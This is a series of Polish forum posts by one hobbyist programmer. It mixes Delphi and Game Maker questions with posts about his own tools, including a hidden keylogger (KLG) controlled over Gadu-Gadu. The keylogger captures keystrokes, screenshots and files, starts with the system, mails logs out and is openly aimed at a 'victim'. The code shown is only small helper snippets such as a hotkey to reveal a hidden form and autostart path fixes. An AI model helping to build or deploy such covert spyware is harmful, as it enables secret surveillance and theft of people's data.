DoNcEr

Nie no na sprzedaż by się nie nadawało zrobiłem tak żeby zobaczyć jakie będzie zainteresowanie i czy ktoś będzie chciał fulla , to by mnie mobilizowalo by go udoskonalac . No ale cóż zainteresowanie jest małe w obecnej chwili program trochę się zmienił wymienię trochę: można z gadu dodać procesy w odpowiedzi otrzymamy komendę do zabicia jest autostartprogram działa w ukryciu, nie ma ikony w trayu , Zmienione komendy dodatkowe oraz dodane nowe, np można wyświetlić errora z trescia jaka sobie napiszemy. Program wykrywa ze użytkownik wyłącza komputer i nas o tym poinformuje na gg Możemy sprawdzić aktywne okno. PS. Dragon obsesje chyba masz nie każdy wrzuca jakieś syfy do wykradania danych. Co ja bym robił z tymi hasłami? o_O

Dodajesz do listy przypisujesz komendę i jest . Ale nie probowałem tego zabijać. Rano zobaczę ;) edit: heh.. tego nie zabije;p

Tytuł: ProcessKiller (GG Edition) Gatunek: zarządzanie komputerem Opis: Program potrafi zabić procesy aplikacji na naszym PC, wyłączać go , blokować menedżer zadań oraz inne funkcje które możemy wykonać pisząc komendy z Gadu-Gadu. Logujemy program na jakiś numer i wysyłamy do niego komendy np. z gadu-gadu w komórce (dobre gdy ktoś nie chce nas puścić do komputera albo słucha irytującej muzyki wyłączamy mu program i tyle) Hasło administratora na razie takie ustalone "1234"W pełnej wersji "mastercode". Download: Poprawiona wersja demo Pełna Wersja 1 w Pełnej wersji Hasło administratora to "mastercode" Rozmiar pliku: 346 KB(zip) po rozpakowaniu 856 KB Autorzy:damian2208 (doncer) Programowanie: damian2208 (doncer) Screeny:

Witam czy jest jakiś sposób by w liście listview zaznaczyć itema według podanego ID klikając np na buttona? Edit no udało się jakoś dzięki. Te 2 funkcje pomogły: ListView1.Items[a].Selected := true; ListView1.SetFocus;

Niezłe . Mam pytanie bo chciałbym wykorzystać w swojej grze- w tym przykładzie masz rozmiar rooma 640X480 a ja w swojej grze 1024x768 i nie mogę przerobić Twojego przykładu tak by było na całą tą rozdzielczość EDIT: P.S Dawno tu nie byłem ... Czemu każdy ma taki sam avatar z jakąś lalką?

no dzięki za pomysł działa dobrze taki warunek if ListView1.ItemIndex > -1 then try

Witam czy ktoś może mi pomóc z tym: Mam 22 itemy w listViewie zrobiłem tam kontakty gg i gdy klikne poza itemy (jak na obrazku) to wywala mi błąd. Wystarczy taki kod zeby był error: procedure TForm1.ListView1Click(Sender: TObject); var s:string; begin s:= ListView1.Selected.Caption; GroupBox3.Caption:='Pisanie Wiadomosci do: '+s; end; Myślę, ze można było spróbować to tak: Tylko nie wiem jak zapisać ten warunek ze jeśli itemindex jest w granicy od 0 do 22 (nie większy i nie mniejszy) to spełnia warunek var s:string; begin if ListView1.ItemIndex=0 or 1 or 2 or 3 or 4 or 5 ...tak do 22 then begin //;] s:= ListView1.Selected.Caption; GroupBox3.Caption:='Pisanie Wiadomosci do: '+s; end; end;

Dzięki pomogło:)

Witam! Mam następujący problem: Mam grę widok z góry, 2D .Gra jest na dwóch gracze mają swoje viewy czyli mam dwa ekraniki, i teraz chciałbym wyświetlać jakies punkty dla pierwszego gracza na jednym viewie a punkty drugiego gracza na drugim viewie i żeby punkty nie jeździły po ekranie drugiego gracza bo narazie taki efekt uzyskałem takim kodem: GML with(damian)draw_text(view_xview[1]+400,view_yview[1],zycie);

Nie bójcie program nie wykrada nic dla mojej korzyści. Przecież każdy może sobie sam zrobić

Tytuł: ParticleSetting Gatunek: Program Opis: Program umożliwia prostą konfigurację systemu cząsteczek Particle wraz z podglądem. Download: Pobierz Rozmiar pliku: 1,43 MB Autorzy: Programowanie: Ja(damian2208) w tym bonusie (na początku chciałem sobie grę stworzyć ) a więc jeśli chodzi o bonus to dopisze później z czyjego przykładu mam skakanie. Screeny:

Tytuł: Automat GaduGadu Gatunek: Program Opis: Ustawiasz co ma odpisać program gdy jesteś zajęty Download: [url="https://gmclan.org/up3460_4_AUTOGG.html[/url] Rozmiar pliku: 265 KB Autorzy: Programowanie: Ja (damian2208) Fabuła: - Grafika: - Dźwięk: GM8 Screeny: EDIT: Brakowało ikonki w paczce. Poprawiłem

KTOŚ MI SIĘ WBIŁ NA PROFIL I NAPISAŁ TEN POST...

Tak miałeś rację Zelman błąd występował bo nie zostały podane ścieżki pliku, tylko sama nazwa

Witam Tak z ciekawości sprawdziłem czy mi się uda stworzyć i tu daje gotowca SYMULACJA Kod źródłowy w paczce screen

Ok tak zrobię , że dam jeszcze komendę na kasowanie pliku dzięki. EDIT 16.12.09 18:22 Sprawdziłem nic to nie dało;/ W ogóle dziwna sprawa w Kodzie nie widać błędów , żadnych warnów. I program działa bez zarzutu gdy go sam odpale, a jeśli uruchamia się ze startem systemu to już funkcja zrzut ekranu nie działa oraz inne działania na plikach zewnętrznych . Spróbowałem tak że inny program przy starcie się uruchamia odlicza 3 minuty i przy zamykaniu odpala mój program i również nie działa. Edit już działa problem był w ścieżkach przykładowo jak miałem Delphi TJ.SaveToFile( 'screen.jpg'); zmieniłem na: Delphi TJ.SaveToFile(ExtractFilePath(Application.ExeName) + 'screen.jpg');

Witam Mam taki problem z Keyloggerem ,trochę trudne do opisania ,ale spróbuję Mam taki program który działa tak że wysyłam z gg komendy na numer keyloggera i ten wykonuje akcje. jest komenda 'screen' po której program robi zrzut ekranu i zapisuje plik jako: 'screen.jpg' następnie wpisuję komendę 'screentome' która wysyła plik do mnie na email. Wszystko było sprawdzone i działało do momentu gdy osoba u której jest program wyłączy i włączy komputer Wtedy przy starcie systemu klucz w rejestrze uruchamia program, ale wtedy komenda screen nie nadpisuje pliku i jak biorę screentome to plik dostaję lecz jest on zawsze taki sam Taka sama sytuacja z Logami Program wykrywa zamykanie sie systemu i zapisuje do pliku.txt działa to tylko raz kiedy pierwszy raz włączy się program w czym tkwi problem?

Hehe ,poczekajcie na wersję finalną w tej nie ma autostaru jeszcze. Obecnie mam już to zrobione

Zelman już było. Trzeba patrzeć jeśli jest '{RIGHT SHIFT}=' to znaczy że ofiara pisze '+' Spróbuje z tym plikiem INI.No jeszcze ten problem z podesłaniem pliku ofierze;> to jest zawsze największy problem.

Na drugim okienku robie sobie rózne testy. od nowa piszesz bo klikasz w memo i dodatkowo wyłapuje klawisze.To bedzie zablokowane właściwością OnlyRead,na razie tak jest wygodniej.Dorabiam opcje wysyłania komend przez gg hm znaczka @ sprawdzę bo nie zauwazyłem EDIT :ok Zrobiłem tak że SHIFT daje w memo {LEFT SHIFT} lub {RIGHT SHIFT} Email wiem jak dla siebie zrobić nie wiem jak zrobic by kazdy sobie mógł wpisac swoje dane. Potem musiałby generowac program do wysłania ofierze i tego juz nie wiem tez

NAZWA: KLG 1.3 OPIS: Keylogger zapisujący wciskane klawisze. Działają duże, małe i polskie litery. Musiałem wyłączyć opcję Email bo był mój ustawiony. Program jest bezpieczny. Przy uruchomieniu ukrywa się więc żeby go pokazać należy wcisnąć CTRL + F4 Co o nim sądzicie ? Jakie błędy widzicie? Co byście dodali? te Kodowanie to taki zbędny dodatek narazie chciałem zrobić żeby od razu zapisywało do pliku zakodowany tekst. Mam opcję taką ze co 30 minut wysyła mi obecny tekst okna 1 + cały plik logu jako załącznik. Plik tworzy się tam gdzie jest program *exe AUTOR: Damian2208(doncer) WAGA: 416 KB SCREEN: DOWNLOAD: POBIERZ V.1.3 INFO POSTĘPU PRACY 25.12.2009 wersja beta 1.5 niestety nie daję demka będzie tylko wersja finalna Zmiany w wersji 1.5: *Dodano komendy GG: -wyłączanie komputera -otwieranie,zamykanie cd-roomu -pobieranie pliku według określonej ścieżki (np. można zdobyć archiwa Nowego GG,lub dowolny plik na pulpicie jeśli znamy jego nazwę) - podglądanie memo -czyszczenie okna memo - robienie zrzutu ekranu - odbieranie zrzutu na emaila - zamykanie programu komendą - wyłączanie monitora(czuwanie), włączanie - kasowanie,tworzenie logu -kasowanie pliku zrzutu - włączanie dźwięku Logowania XP - zamienianie przycisków myszy * Inny skrót do pokazania formy * Poprawiono błąd zapisywania Logów * Autostart z systemem * zmieniono komponent gg na nowy (odbieranie, wysyłanie działa bez zarzutu!) * półgodzinne wysyłanie logów na email (zawartość memo + plik Log) POWSTAŁ TEŻ PROGRAM DO OBSŁUGI KTÓRY WYGLĄDA TAK:

U siebie w kodzie wstawiłem wcześniej nie wiem czemu to takie ważne więc nie dopisywałem. ale jak już to tu daje brakujący kod: procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin UnRegisterHotKey(Handle, id1); GlobalDeleteAtom(id1); end;

Ok o to chodziło dzięki to kodzik może się komuś przyda W evencie Formy OnCreate dajemy: procedure TForm1.FormCreate(Sender: TObject); const MOD_CONTROL = 2; VK_F4 = $73; begin id1 := GlobalAddAtom('Hotkey1'); RegisterHotKey(Handle, id1, MOD_CONTROL, VK_F4);// Skrót Ctrl+F4 tylko jeden bo tylko tego potrzebowałem;) end; W kodzie pod private dodajemy: private id1: Integer; procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY; { Private declarations } i wklejamy procedure procedure TForm1.WMHotKey(var Msg: TWMHotKey); begin if Msg.HotKey = id1 then Form1.visible:=true;//Czyli Ctrl+F4 pokaże ukrytą formę end;

Nie to nie to jak by tego nie było wyskoczyłby error dodam ,że na formie mam komponent "CoolTrayIcon1" może ma jakiś związek...

Witam Na formię mam w MainMenu1 opcję Ukryj z ShortCut(F4) i gdy wciskam F4 forma ukrywa się ale po ponownym wciśnięciu F4 nie pokazuje się...? Co jest nie tak? :blink: To kodzik wyboru menu procedure TForm1.Ukryj1Click(Sender: TObject); begin if Form1.visible=true then Form1.visible:=false else Form1.visible:=true; end;